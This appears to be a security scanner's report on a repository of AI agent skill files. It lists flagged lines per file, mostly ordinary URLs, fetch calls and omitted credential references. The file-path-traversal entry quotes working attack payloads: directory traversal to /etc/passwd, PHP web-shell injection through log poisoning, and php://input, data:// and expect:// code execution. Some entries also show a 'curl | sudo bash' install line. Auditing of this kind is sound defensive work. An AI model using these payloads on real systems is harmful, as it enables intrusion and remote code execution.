- [Marten Events](https://martendb.io/events/) - Network accessline 451
- [Event Sourcing Pattern](https://docs.microsoft.com/en-us/azure/architecture/patterns/event-sourcing)
skills/exa-search/SKILL.md
skills/expo-deployment/SKILL.md
- Network accessline 2
name: expo-deployment description: "Deploy Expo apps to production" source: "https://github.com/expo/skills/tree/main/plugins/expo-deployment" - Network accessline 3
description: "Deploy Expo apps to production" source: "https://github.com/expo/skills/tree/main/plugins/expo-deployment" risk: safe - Network accessline 4
source: "https://github.com/expo/skills/tree/main/plugins/expo-deployment" - Network accessline 72
For more information, see the [source repository](https://github.com/expo/skills/tree/main/plugins/expo-deployment).
skills/fal-audio/SKILL.md
- Network accessline 2
name: fal-audio description: "Text-to-speech and speech-to-text using fal.ai audio models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-audio/SKILL.md" - Network accessline 3
description: "Text-to-speech and speech-to-text using fal.ai audio models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-audio/SKILL.md" risk: safe - Network accessline 4
source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-audio/SKILL.md" - Network accessline 22
For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-audio/SKILL.md).
skills/fal-generate/SKILL.md
- Network accessline 2
name: fal-generate description: "Generate images and videos using fal.ai AI models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-generate/SKILL.md" - Network accessline 3
description: "Generate images and videos using fal.ai AI models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-generate/SKILL.md" risk: safe - Network accessline 4
source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-generate/SKILL.md" - Network accessline 22
For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-generate/SKILL.md).
skills/fal-image-edit/SKILL.md
- Network accessline 2
name: fal-image-edit description: "AI-powered image editing with style transfer and object removal" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-image-edit/SKILL.md" - Network accessline 3
description: "AI-powered image editing with style transfer and object removal" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-image-edit/SKILL.md" risk: safe - Network accessline 4
source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-image-edit/SKILL.md" - Network accessline 22
For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-image-edit/SKILL.md).
skills/fal-platform/SKILL.md
- Network accessline 2
name: fal-platform description: "Platform APIs for model management, pricing, and usage tracking" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-platform/SKILL.md" - Network accessline 3
description: "Platform APIs for model management, pricing, and usage tracking" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-platform/SKILL.md" risk: safe - Network accessline 4
source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-platform/SKILL.md" - Network accessline 22
For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-platform/SKILL.md).
skills/fal-upscale/SKILL.md
- Network accessline 2
name: fal-upscale description: "Upscale and enhance image and video resolution using AI" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-upscale/SKILL.md" - Network accessline 3
description: "Upscale and enhance image and video resolution using AI" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-upscale/SKILL.md" risk: safe - Network accessline 4
source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-upscale/SKILL.md" - Network accessline 22
For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-upscale/SKILL.md).
skills/fal-workflow/SKILL.md
- Network accessline 2
name: fal-workflow description: "Generate workflow JSON files for chaining AI models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-workflow/SKILL.md" - Network accessline 3
description: "Generate workflow JSON files for chaining AI models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-workflow/SKILL.md" risk: safe - Network accessline 4
source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-workflow/SKILL.md" - Network accessline 22
For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-workflow/SKILL.md).
skills/fastapi-templates/resources/implementation-playbook.md
skills/ffuf-claude-skill/SKILL.md
- Network accessline 2
name: ffuf-claude-skill description: "Web fuzzing with ffuf" source: "https://github.com/jthack/ffuf_claude_skill" - Network accessline 3
description: "Web fuzzing with ffuf" source: "https://github.com/jthack/ffuf_claude_skill" risk: safe - Network accessline 4
source: "https://github.com/jthack/ffuf_claude_skill" - Network accessline 22
For more information, see the [source repository](https://github.com/jthack/ffuf_claude_skill).
skills/figma-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/file-path-traversal/SKILL.md
- Network accessline 20
- Web browser with developer tools - Burp Suite or OWASP ZAP - cURL for testing payloads - Network accessline 21
- Burp Suite or OWASP ZAP - cURL for testing payloads - Wordlists for automation - Network accessline 22
- cURL for testing payloads - Network accessline 117
# Test payloads with curl curl "http://target.com/image?filename=../../../etc/passwd" - Network accessline 118
curl "http://target.com/image?filename=../../../etc/passwd" - Network accessline 119
curl "http://target.com/download?file=....//....//....//etc/passwd" - Access to secretsline 216
[Credential-related source omitted] - Network accessline 290
# Basic traversal fuzzing ffuf -u "http://target.com/image?filename=FUZZ" \ - Network accessline 291
ffuf -u "http://target.com/image?filename=FUZZ" \ - Network accessline 295
# Fuzzing with encoding ffuf -u "http://target.com/page?file=FUZZ" \ - Network accessline 296
ffuf -u "http://target.com/page?file=FUZZ" \ - Network accessline 305
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hc 404 "http://target.com/index.php?file=FUZZ" - Network accessline 307
"http://target.com/index.php?file=FUZZ" - Network accessline 310
wfuzz -c -z file,traversal.txt -H "Cookie: session=abc123" "http://target.com/load?path=FUZZ" - Network accessline 312
"http://target.com/load?path=FUZZ" - Network accessline 320
# Inject PHP code into logs curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ - Network accessline 321
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ - Network accessline 323
# Include Apache log file curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" - Network accessline 324
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" - Network accessline 326
# Include auth.log (SSH) # First: ssh '<?php system($_GET["cmd"]); ?>'@target.com curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" - Network accessline 328
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" - Network accessline 334
# Inject via User-Agent curl -A "<?php system('id'); ?>" \ - Network accessline 335
curl -A "<?php system('id'); ?>" \ - Network accessline 336
"http://target.com/page?file=/proc/self/environ" - Network accessline 338
# With command parameter curl -A "<?php system(\$_GET['c']); ?>" \ - Network accessline 339
curl -A "<?php system(\$_GET['c']); ?>" \ - Network accessline 340
"http://target.com/page?file=/proc/self/environ&c=whoami" - Network accessline 346
# php://filter - Read source code as base64 curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" - Network accessline 347
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" - Network accessline 349
# php://input - Execute POST data as PHP curl -X POST -d "<?php system('id'); ?>" \ - Network accessline 350
curl -X POST -d "<?php system('id'); ?>" \ - Network accessline 351
"http://target.com/page?file=php://input" - Network accessline 353
# data:// - Execute inline PHP curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" - Network accessline 354
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" - Network accessline 356
# expect:// - Execute system commands curl "http://target.com/page?file=expect://id" - Network accessline 357
curl "http://target.com/page?file=expect://id"
skills/find-bugs/SKILL.md
- Network accessline 2
name: find-bugs description: "Find bugs, security vulnerabilities, and code quality issues in local branch changes. Use when asked to review changes, find bugs, security review, or audit code on the current branch." source: "https://github. - Network accessline 3
description: "Find bugs, security vulnerabilities, and code quality issues in local branch changes. Use when asked to review changes, find bugs, security review, or audit code on the current branch." source: "https://github.com/getsentry/sk - Network accessline 4
source: "https://github.com/getsentry/skills/tree/main/plugins/sentry-skills/skills/find-bugs"
skills/firecrawl-scraper/SKILL.md
skills/firmware-analyst/SKILL.md
- Network accessline 14
# Download from vendor wget http://vendor.com/firmware/update.bin - Network accessline 15
wget http://vendor.com/firmware/update.bin - Access to secretsline 114
[Credential-related source omitted] - Dangerous shell operationline 233
sudo chroot squashfs-root /usr/bin/qemu-arm-static /bin/sh - Dangerous shell operationline 236
sudo chroot squashfs-root /usr/bin/qemu-arm-static /bin/httpd
skills/fix-review/SKILL.md
- Network accessline 2
name: fix-review description: "Verify fix commits address audit findings without new bugs" source: "https://github.com/trailofbits/skills/tree/main/plugins/fix-review" - Network accessline 3
description: "Verify fix commits address audit findings without new bugs" source: "https://github.com/trailofbits/skills/tree/main/plugins/fix-review" risk: safe - Network accessline 4
source: "https://github.com/trailofbits/skills/tree/main/plugins/fix-review" - Network accessline 53
For more information, see the [source repository](https://github.com/trailofbits/skills/tree/main/plugins/fix-review).
skills/flutter-expert/SKILL.md
- Access to secretsline 139
[Credential-related source omitted]
skills/fp-ts-errors/SKILL.md
- Network accessline 3
description: "Handle errors as values using fp-ts Either and TaskEither for cleaner, more predictable TypeScript code. Use when implementing error handling patterns with fp-ts." risk: safe source: https://github.com/whatiskadudoing/fp-ts-sk - Network accessline 4
risk: safe source: https://github.com/whatiskadudoing/fp-ts-skills --- - Network accessline 5
source: https://github.com/whatiskadudoing/fp-ts-skills - Network accessline 415
const fetchUser = (id: string): TE.TaskEither<Error, User> => TE.tryCatch( () => fetch(`/api/users/${id}`).then(r => r.json()), - Network accessline 416
TE.tryCatch( () => fetch(`/api/users/${id}`).then(r => r.json()), (e) => (e instanceof Error ? e : new Error(String(e))) - Network accessline 417
() => fetch(`/api/users/${id}`).then(r => r.json()), - Network accessline 580
const fetchJson = <T>(url: string): TE.TaskEither<Error, T> => TE.tryCatch( () => fetch(url).then(r => r.json()), - Network accessline 581
TE.tryCatch( () => fetch(url).then(r => r.json()), (e) => new Error(`Fetch failed: ${e}`) - Network accessline 582
() => fetch(url).then(r => r.json()), - Network accessline 683
pipe( TE.tryCatch( () => fetch(url), - Network accessline 684
TE.tryCatch( () => fetch(url), () => createApiError('Network error', 'NETWORK') - Network accessline 685
() => fetch(url),
skills/fp-ts-pragmatic/SKILL.md
- Network accessline 3
description: "A practical, jargon-free guide to fp-ts functional programming - the 80/20 approach that gets results without the academic overhead. Use when writing TypeScript with fp-ts library." risk: safe source: https://github.com/whatis - Network accessline 4
risk: safe source: https://github.com/whatiskadudoing/fp-ts-skills --- - Network accessline 5
source: https://github.com/whatiskadudoing/fp-ts-skills - Network accessline 262
async function getUser(id: string): Promise<User | null> { try { const response = await fetch(`/api/users/${id}`) - Network accessline 263
try { const response = await fetch(`/api/users/${id}`) if (!response.ok) return null - Network accessline 264
const response = await fetch(`/api/users/${id}`) - Network accessline 273
const getUser = (id: string): TE.TaskEither<Error, User> => pipe( TE.tryCatch(() => fetch(`/api/users/${id}`), E.toError), - Network accessline 274
pipe( TE.tryCatch(() => fetch(`/api/users/${id}`), E.toError), TE.flatMap(r => r.ok ? TE.right(r) : TE.left(new Error('Not found'))), - Network accessline 275
TE.tryCatch(() => fetch(`/api/users/${id}`), E.toError),
skills/fp-ts-react/SKILL.md
- Network accessline 3
description: "Practical patterns for using fp-ts with React - hooks, state, forms, data fetching. Use when building React apps with functional programming patterns. Works with React 18/19, Next.js 14/15." risk: safe source: https://github.c - Network accessline 4
risk: safe source: https://github.com/whatiskadudoing/fp-ts-skills --- - Network accessline 5
source: https://github.com/whatiskadudoing/fp-ts-skills - Network accessline 255
TE.tryCatch( async () => { const res = await fetch(url) - Network accessline 256
async () => { const res = await fetch(url) if (!res.ok) throw new Error(`HTTP ${res.status}`) - Network accessline 257
const res = await fetch(url) - Network accessline 398
function UserProfile({ userId }: { userId: string }) { const { state, execute } = useRemoteData(() => fetch(`/api/users/${userId}`).then(r => r.json()) - Network accessline 399
const { state, execute } = useRemoteData(() => fetch(`/api/users/${userId}`).then(r => r.json()) ) - Network accessline 400
fetch(`/api/users/${userId}`).then(r => r.json()) - Network accessline 792
- **[fp-ts](https://github.com/gcanti/fp-ts)** - Core library - Network accessline 793
- **[fp-ts-react-stable-hooks](https://github.com/mblink/fp-ts-react-stable-hooks)** - Stable hooks - Network accessline 794
- **[@devexperts/remote-data-ts](https://github.com/devexperts/remote-data-ts)** - RemoteData - Network accessline 795
- **[io-ts](https://github.com/gcanti/io-ts)** - Runtime type validation - Network accessline 796
- **[zod](https://github.com/colinhacks/zod)** - Schema validation (works great with fp-ts)
skills/framework-migration-code-migrate/resources/implementation-playbook.md
- Network accessline 562
// Call REST endpoint const response = await fetch( - Network accessline 563
const response = await fetch( - Network accessline 577
const response = await fetch( - Network accessline 967
<head> <title>Migration Dashboard - {self.migration_id}</title> <script src="https://cdn.jsdelivr.net/npm/chart.js"></script> - Network accessline 968
<title>Migration Dashboard - {self.migration_id}</title> <script src="https://cdn.jsdelivr.net/npm/chart.js"></script> <style> - Network accessline 969
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
skills/framework-migration-deps-upgrade/resources/implementation-playbook.md
skills/freshdesk-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/freshservice-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/frontend-design/LICENSE.txt
skills/frontend-dev-guidelines/resources/performance.md
- Network accessline 224
fetch('/api/data', { signal: abortController.signal })
skills/frontend-slides/SKILL.md
- Network accessline 2
name: frontend-slides description: "Create stunning, animation-rich HTML presentations from scratch or by converting PowerPoint files. Use when the user wants to build a presentation, convert a PPT/PPTX to web, or create slides for a..." so - Network accessline 3
description: "Create stunning, animation-rich HTML presentations from scratch or by converting PowerPoint files. Use when the user wants to build a presentation, convert a PPT/PPTX to web, or create slides for a..." source: https://github.c - Network accessline 4
source: https://github.com/zarazhangrui/frontend-slides - Network accessline 206
<!-- Fonts (use Fontshare or Google Fonts) --> <link rel="stylesheet" href="https://api.fontshare.com/v2/css?f[]=..."> - Network accessline 207
<link rel="stylesheet" href="https://api.fontshare.com/v2/css?f[]=...">
skills/frontend-ui-dark-ts/SKILL.md
- Network accessline 94
<meta property="og:title" content="App Name" /> <meta property="og:description" content="App description" /> <meta property="og:image" content="https://example.com/og-image.png" /> - Network accessline 95
<meta property="og:description" content="App description" /> <meta property="og:image" content="https://example.com/og-image.png" /> <meta property="og:url" content="https://example.com" /> - Network accessline 96
<meta property="og:image" content="https://example.com/og-image.png" /> - Network accessline 97
<meta property="og:url" content="https://example.com" /> - Network accessline 101
<meta name="twitter:title" content="App Name" /> <meta name="twitter:description" content="App description" /> <meta name="twitter:image" content="https://example.com/og-image.png" /> - Network accessline 103
<meta name="twitter:image" content="https://example.com/og-image.png" />
skills/game-development/SKILL.md
- Broad permissionsline 1
Read, Write, Edit, Glob, Grep, Bash
skills/game-development/multiplayer/SKILL.md
- Broad permissionsline 1
Read, Write, Edit, Glob, Grep, Bash
skills/gdpr-data-handling/resources/implementation-playbook.md
- Network accessline 613
- [GDPR Full Text](https://gdpr-info.eu/) - Network accessline 614
- [ICO Guidance](https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/) - Network accessline 615
- [EDPB Guidelines](https://edpb.europa.eu/our-work-tools/general-guidance/gdpr-guidelines-recommendations-best-practices_en)
skills/gemini-api-dev/SKILL.md
- Network accessline 97
- **v1beta** (default): `https://generativelanguage.googleapis.com/$discovery/rest?version=v1beta` - Network accessline 98
Use this unless the integration is explicitly pinned to v1. The official SDKs (google-genai, @google/genai, google.golang.org/genai) target v1beta. - **v1**: `https://generativelanguage.googleapis.com/$discovery/rest?version=v1` Use onl - Network accessline 99
- **v1**: `https://generativelanguage.googleapis.com/$discovery/rest?version=v1` - Network accessline 108
**llms.txt URL**: `https://ai.google.dev/gemini-api/docs/llms.txt` - Network accessline 112
1. Fetch `llms.txt` to discover available documentation pages 2. Fetch specific pages (e.g., `https://ai.google.dev/gemini-api/docs/function-calling.md.txt`) - Network accessline 113
2. Fetch specific pages (e.g., `https://ai.google.dev/gemini-api/docs/function-calling.md.txt`) - Network accessline 120
- [Models](https://ai.google.dev/gemini-api/docs/models.md.txt) - Network accessline 121
- [Google AI Studio quickstart](https://ai.google.dev/gemini-api/docs/ai-studio-quickstart.md.txt) - Network accessline 122
- [Nano Banana image generation](https://ai.google.dev/gemini-api/docs/image-generation.md.txt) - Network accessline 123
- [Function calling with the Gemini API](https://ai.google.dev/gemini-api/docs/function-calling.md.txt) - Network accessline 124
- [Structured outputs](https://ai.google.dev/gemini-api/docs/structured-output.md.txt) - Network accessline 125
- [Text generation](https://ai.google.dev/gemini-api/docs/text-generation.md.txt) - Network accessline 126
- [Image understanding](https://ai.google.dev/gemini-api/docs/image-understanding.md.txt) - Network accessline 127
- [Embeddings](https://ai.google.dev/gemini-api/docs/embeddings.md.txt) - Network accessline 128
- [Interactions API](https://ai.google.dev/gemini-api/docs/interactions.md.txt) - Network accessline 129
- [SDK migration guide](https://ai.google.dev/gemini-api/docs/migrate.md.txt)
skills/geo-fundamentals/scripts/geo_checker.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/git-pushing/scripts/smart_commit.sh
- Executable scriptline 1
#!/bin/bash
skills/github-actions-templates/SKILL.md
skills/github-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/github-workflow-automation/SKILL.md
- Network accessline 10
> Patterns for automating GitHub workflows with AI assistance, inspired by [Gemini CLI](https://github.com/google-gemini/gemini-cli) and modern DevOps practices. - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Dangerous shell operationline 561
const commitInfo = await exec(`git show ${commitHash} --stat`); - Dangerous shell operationline 564
const targetDiff = await exec( - Dangerous shell operationline 582
await exec( - Dangerous shell operationline 585
const result = await exec(`git cherry-pick ${commitHash}`, { - Dangerous shell operationline 598
await exec(`git checkout ${targetBranch}`); - Dangerous shell operationline 599
await exec(`git cherry-pick ${commitHash}`); - Network accessline 845
- [Gemini CLI GitHub Action](https://github.com/google-github-actions/run-gemini-cli) - Network accessline 846
- [GitHub Actions Documentation](https://docs.github.com/en/actions) - Network accessline 847
- [GitHub REST API](https://docs.github.com/en/rest) - Network accessline 848
- [CODEOWNERS Syntax](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)
skills/gitlab-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/gitlab-ci-patterns/SKILL.md
- Network accessline 85
environment: name: production url: https://app.example.com - Network accessline 87
url: https://app.example.com - Access to secretsline 117
[Credential-related source omitted] - Network accessline 127
environment: name: staging url: https://staging.example.com - Network accessline 128
name: staging url: https://staging.example.com only: - Network accessline 129
url: https://staging.example.com - Network accessline 139
environment: name: production url: https://app.example.com - Network accessline 140
name: production url: https://app.example.com when: manual - Network accessline 141
url: https://app.example.com
skills/gitops-workflow/SKILL.md
- Network accessline 58
# Install ArgoCD kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml - Network accessline 59
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml - Network accessline 97
project: default source: repoURL: https://github.com/org/gitops-repo - Network accessline 98
source: repoURL: https://github.com/org/gitops-repo targetRevision: main - Network accessline 99
repoURL: https://github.com/org/gitops-repo - Network accessline 101
path: apps/production/my-app destination: server: https://kubernetes.default.svc - Network accessline 102
destination: server: https://kubernetes.default.svc namespace: production - Network accessline 103
server: https://kubernetes.default.svc - Network accessline 122
project: default source: repoURL: https://github.com/org/gitops-repo - Network accessline 123
source: repoURL: https://github.com/org/gitops-repo targetRevision: main - Network accessline 124
repoURL: https://github.com/org/gitops-repo - Network accessline 126
path: argocd/applications destination: server: https://kubernetes.default.svc - Network accessline 127
destination: server: https://kubernetes.default.svc namespace: argocd - Network accessline 128
server: https://kubernetes.default.svc - Network accessline 139
# Install Flux CLI curl -s https://fluxcd.io/install.sh | sudo bash - Dangerous shell operationline 140
curl -s https://fluxcd.io/install.sh | sudo bash - Network accessline 140
curl -s https://fluxcd.io/install.sh | sudo bash - Network accessline 159
spec: interval: 1m url: https://github.com/org/my-app - Network accessline 160
interval: 1m url: https://github.com/org/my-app ref: - Network accessline 161
url: https://github.com/org/my-app
skills/gitops-workflow/references/argocd-setup.md
- Network accessline 7
kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml - Network accessline 8
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml - Network accessline 13
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml - Network accessline 18
helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 72
argocd repo add https://github.com/org/repo --username user --password token - Network accessline 77
argocd app create my-app \ --repo https://github.com/org/repo \ - Network accessline 78
--repo https://github.com/org/repo \ - Network accessline 79
--path apps/my-app \ --dest-server https://kubernetes.default.svc \ --dest-namespace production - Network accessline 80
--dest-server https://kubernetes.default.svc \ - Network accessline 92
namespace: argocd data: url: https://argocd.example.com - Network accessline 93
data: url: https://argocd.example.com dex.config: | - Network accessline 94
url: https://argocd.example.com - Access to secretsline 102
[Credential-related source omitted]
skills/gmail-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/go-concurrency-patterns/resources/implementation-playbook.md
skills/go-playwright/SKILL.md
- Network accessline 3
description: "Expert capability for robust, stealthy, and efficient browser automation using Playwright Go." risk: safe source: https://github.com/playwright-community/playwright-go - Network accessline 4
risk: safe source: https://github.com/playwright-community/playwright-go --- - Network accessline 5
source: https://github.com/playwright-community/playwright-go - Network accessline 61
### 5. Documentation Usage - **Primary Source:** Rely on your internal knowledge of the API first to save tokens. - **Fallback:** Refer to the official docs [playwright-go documentation](https://pkg.go.dev/github.com/playwright-community/pl - Network accessline 62
- **Primary Source:** Rely on your internal knowledge of the API first to save tokens. - **Fallback:** Refer to the official docs [playwright-go documentation](https://pkg.go.dev/github.com/playwright-community/playwright-go#section-documen - Network accessline 63
- **Fallback:** Refer to the official docs [playwright-go documentation](https://pkg.go.dev/github.com/playwright-community/playwright-go#section-documentation) ONLY if:
skills/go-playwright/resources/implementation-playbook.md
skills/go-rod-master/SKILL.md
- Network accessline 3
description: "Comprehensive guide for browser automation and web scraping with go-rod (Chrome DevTools Protocol) including stealth anti-bot-detection patterns." risk: safe source: https://github.com/go-rod/rod - Network accessline 4
risk: safe source: https://github.com/go-rod/rod --- - Network accessline 5
source: https://github.com/go-rod/rod - Network accessline 12
[Rod](https://github.com/go-rod/rod) is a high-level Go driver built directly on the [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) for browser automation and web scraping. Unlike wrappers around other tools - Network accessline 14
The companion library [go-rod/stealth](https://github.com/go-rod/stealth) injects anti-bot-detection evasions based on [puppeteer-extra stealth](https://github.com/nichochar/puppeteer-extra/tree/master/packages/extract-stealth-evasions), hi - Access to secretsline 31
[Credential-related source omitted] - Network accessline 62
// Create a page (tab) page := browser.MustPage("https://example.com") - Network accessline 63
page := browser.MustPage("https://example.com") - Network accessline 181
// Use stealth.MustPage instead of browser.MustPage page := stealth.MustPage(browser) page.MustNavigate("https://bot.sannysoft.com") - Network accessline 183
page.MustNavigate("https://bot.sannysoft.com") - Network accessline 191
return fmt.Errorf("failed to create stealth page: %w", err) } page.MustNavigate("https://example.com") - Network accessline 193
page.MustNavigate("https://example.com") - Network accessline 201
page := browser.MustPage() page.MustEvalOnNewDocument(stealth.JS) page.MustNavigate("https://example.com") - Network accessline 203
page.MustNavigate("https://example.com") - Network accessline 211
page := stealth.MustPage(browser) page.MustNavigate("https://bot.sannysoft.com") - Network accessline 212
page.MustNavigate("https://bot.sannysoft.com") - Access to secretsline 237
[Credential-related source omitted] - Network accessline 343
// Wait for specific navigation/event wait := page.WaitEvent(&proto.PageLoadEventFired{}) page.MustNavigate("https://example.com") - Network accessline 344
wait := page.WaitEvent(&proto.PageLoadEventFired{}) page.MustNavigate("https://example.com") wait() - Network accessline 345
page.MustNavigate("https://example.com") - Network accessline 430
// Wait for a specific event before proceeding wait := page.WaitEvent(&proto.PageLoadEventFired{}) page.MustNavigate("https://example.com") - Network accessline 431
wait := page.WaitEvent(&proto.PageLoadEventFired{}) page.MustNavigate("https://example.com") wait() - Network accessline 432
page.MustNavigate("https://example.com") - Network accessline 517
- **Problem:** Browser process leaks (zombie processes). **Solution:** Always `defer browser.MustClose()`. Rod uses [leakless](https://github.com/ysmood/leakless) to kill zombies after main process crash, but explicit cleanup is preferred - Network accessline 518
**Solution:** Always `defer browser.MustClose()`. Rod uses [leakless](https://github.com/ysmood/leakless) to kill zombies after main process crash, but explicit cleanup is preferred. - Network accessline 537
- [Official Documentation](https://go-rod.github.io/) — Guides, tutorials, FAQ - Network accessline 538
- [Go API Reference](https://pkg.go.dev/github.com/go-rod/rod) — Complete type and method documentation - Network accessline 539
- [go-rod/stealth](https://github.com/go-rod/stealth) — Anti-bot detection plugin - Network accessline 540
- [Examples (source)](https://github.com/go-rod/rod/blob/main/examples_test.go) — Official example tests - Network accessline 541
- [Rod vs Chromedp Comparison](https://github.com/nichochar/go-rod.github.io/blob/main/lib/examples/compare-chromedp) — Migration reference - Network accessline 542
- [Chrome DevTools Protocol Docs](https://chromedevtools.github.io/devtools-protocol/) — Underlying protocol reference - Network accessline 543
- [Chrome CLI Flags Reference](https://peter.sh/experiments/chromium-command-line-switches) — Launcher flag documentation
skills/go-rod-master/examples/basic_scrape.go
skills/go-rod-master/examples/concurrent_pages.go
- Executable scriptline 1
Executable file - Network accessline 21
urls := []string{ "https://example.com", - Network accessline 22
"https://example.com", - Network accessline 23
"https://example.org", - Network accessline 24
"https://www.iana.org/domains/reserved", - Network accessline 25
"https://www.iana.org/about", - Access to secretsline 33
[Credential-related source omitted]
skills/go-rod-master/examples/request_hijacking.go
- Executable scriptline 1
Executable file - Network accessline 61
page := stealth.MustPage(browser) page.MustNavigate("https://example.com").MustWaitLoad() - Network accessline 62
page.MustNavigate("https://example.com").MustWaitLoad() - Network accessline 83
page2.MustNavigate("https://example.com").MustWaitLoad() fmt.Println("\nNetwork log above shows all requests captured")
skills/go-rod-master/examples/stealth_page.go
- Executable scriptline 1
Executable file - Network accessline 36
page.MustNavigate("https://bot.sannysoft.com") - Network accessline 51
advancedPage := browser.MustPage() advancedPage.MustEvalOnNewDocument(stealth.JS) advancedPage.MustNavigate("https://bot.sannysoft.com") - Network accessline 52
advancedPage.MustEvalOnNewDocument(stealth.JS) advancedPage.MustNavigate("https://bot.sannysoft.com") advancedPage.MustElement("#broken-image-dimensions.passed") - Network accessline 53
advancedPage.MustNavigate("https://bot.sannysoft.com") - Network accessline 61
return } prodPage.MustNavigate("https://example.com") - Network accessline 62
} prodPage.MustNavigate("https://example.com") title, err := prodPage.MustElement("title").Text() - Network accessline 63
prodPage.MustNavigate("https://example.com")
skills/go-rod-master/references/api-reference.md
- Network accessline 148
Full CDP protocol reference: https://chromedevtools.github.io/devtools-protocol/
skills/godot-gdscript-patterns/resources/implementation-playbook.md
skills/google-analytics-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/google-calendar-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/google-drive-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/googlesheets-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/helm-chart-scaffolding/assets/Chart.yaml.template
- Network accessline 12
home: https://github.com/<org>/<repo> - Network accessline 14
sources: - https://github.com/<org>/<repo> - Network accessline 15
- https://github.com/<org>/<repo> - Network accessline 18
- name: <Maintainer Name> email: <maintainer@example.com> url: https://github.com/<username> - Network accessline 20
url: https://github.com/<username> - Network accessline 22
icon: https://example.com/icon.png - Network accessline 27
- name: postgresql version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" - Network accessline 28
version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" condition: postgresql.enabled - Network accessline 29
repository: "https://charts.bitnami.com/bitnami" - Network accessline 33
- name: redis version: "17.0.0" repository: "https://charts.bitnami.com/bitnami" - Network accessline 34
version: "17.0.0" repository: "https://charts.bitnami.com/bitnami" condition: redis.enabled - Network accessline 35
repository: "https://charts.bitnami.com/bitnami"
skills/helm-chart-scaffolding/references/chart-structure.md
